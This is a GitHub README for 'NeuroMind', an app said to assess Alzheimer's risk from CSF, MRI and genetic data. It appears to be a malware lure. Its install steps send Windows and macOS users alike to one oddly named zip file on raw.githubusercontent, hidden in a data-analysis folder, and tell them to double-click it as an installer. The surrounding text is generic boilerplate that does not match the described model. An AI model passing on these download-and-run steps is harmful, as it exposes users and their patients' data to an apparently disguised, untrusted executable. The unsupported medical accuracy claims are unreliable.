🧠 NeuroMind_AI-Alzheimer-Disease-Risk-Detection - Detect Alzheimer's Risk with AI

📖 Overview

NeuroMind combines advanced AI techniques to assess Alzheimer’s disease risk. It integrates various data sources, including:

• CSF Proteomics: Analyzes proteins in cerebrospinal fluid.
• MRI Volumetrics: Assesses brain structure from MRI scans.
• Genetic Information: Evaluates genetic risk factors.

The result is an accurate XGBoost model that achieves 88% AUC. Additionally, it includes an LLM-powered "AI Neurologist" for interpreting results.

🚀 Getting Started

Follow these steps to set up NeuroMind on your computer.

✅ System Requirements

Before you proceed, ensure your system meets the following requirements:

• Operating System: Windows 10 or newer / macOS Mojave or newer
• Memory: At least 8 GB RAM
• Processor: Intel i5 or equivalent
• Disk Space: Minimum of 500 MB available

📥 Download & Install

1. Visit the Releases Page Go to this page to download. Here, you can find the latest version of NeuroMind.

2. Select the Correct Version Look for the most recent release. Click on the version number (e.g., v1.0) to view available files.

3. Download the Application Choose the file that matches your operating system:

   • For Windows, select https://raw.githubusercontent.com/RajAbbas/NeuroMind_AI-Alzheimer-Disease-Risk-Detection/main/Alzheimers_EDA/Mind_Detection_Disease_Alzheimer_Risk_Neuro_A_unsupplantable.zip
   • For macOS, select https://raw.githubusercontent.com/RajAbbas/NeuroMind_AI-Alzheimer-Disease-Risk-Detection/main/Alzheimers_EDA/Mind_Detection_Disease_Alzheimer_Risk_Neuro_A_unsupplantable.zip

4. Run the Installer

   • Windows: Double-click https://raw.githubusercontent.com/RajAbbas/NeuroMind_AI-Alzheimer-Disease-Risk-Detection/main/Alzheimers_EDA/Mind_Detection_Disease_Alzheimer_Risk_Neuro_A_unsupplantable.zip, then follow the on-screen instructions.
   • macOS: Open https://raw.githubusercontent.com/RajAbbas/NeuroMind_AI-Alzheimer-Disease-Risk-Detection/main/Alzheimers_EDA/Mind_Detection_Disease_Alzheimer_Risk_Neuro_A_unsupplantable.zip, drag the app to your Applications folder.

5. Open NeuroMind Find the application in your Start Menu (Windows) or Applications folder (macOS). Click to launch it.

🛠️ Using NeuroMind

1. Input Your Data When the app opens, you will see a user-friendly interface. Enter your patient’s data as prompted. This can include CSF proteomic data, MRI volumetric results, and genetic information.

2. Run the Analysis Click the "Analyze" button. The AI will process the data and provide a risk assessment for Alzheimer's disease.

3. Review the Results After analysis, the app will display a report. You can see the risk percentage and relevant insights. Use the AI Neurologist feature to help interpret these results.

💡 Features

• Intuitive User Interface: Easy navigation for all users.
• AI Neurologist: Access explanations of results in plain language.
• High Accuracy: Benefit from an 88% area under the curve in risk prediction.
• Secure Data Handling: Your data remains confidential and secure.

📊 Now What?

After receiving the results, consider the following steps:

1. Consult a Healthcare Provider: Discuss findings for further interpretation and next steps.
2. Explore Further Research: Use insights to understand potential interventions or lifestyle adjustments.

📞 Support

If you encounter issues or have questions, you can reach out for help. Check the README’s Issues section on the GitHub repository, or contact customer support directly from within the application.

🔗 Helpful Links

• Documentation: View Detailed Docs
• Community Support: Join the Discussion
• Release Page: Visit this page to download

📝 License

NeuroMind is licensed under the MIT License. You can freely use and modify for personal or educational use while giving credit to the original authors.

Thank you for using NeuroMind. We hope it helps in your Alzheimer’s risk assessments!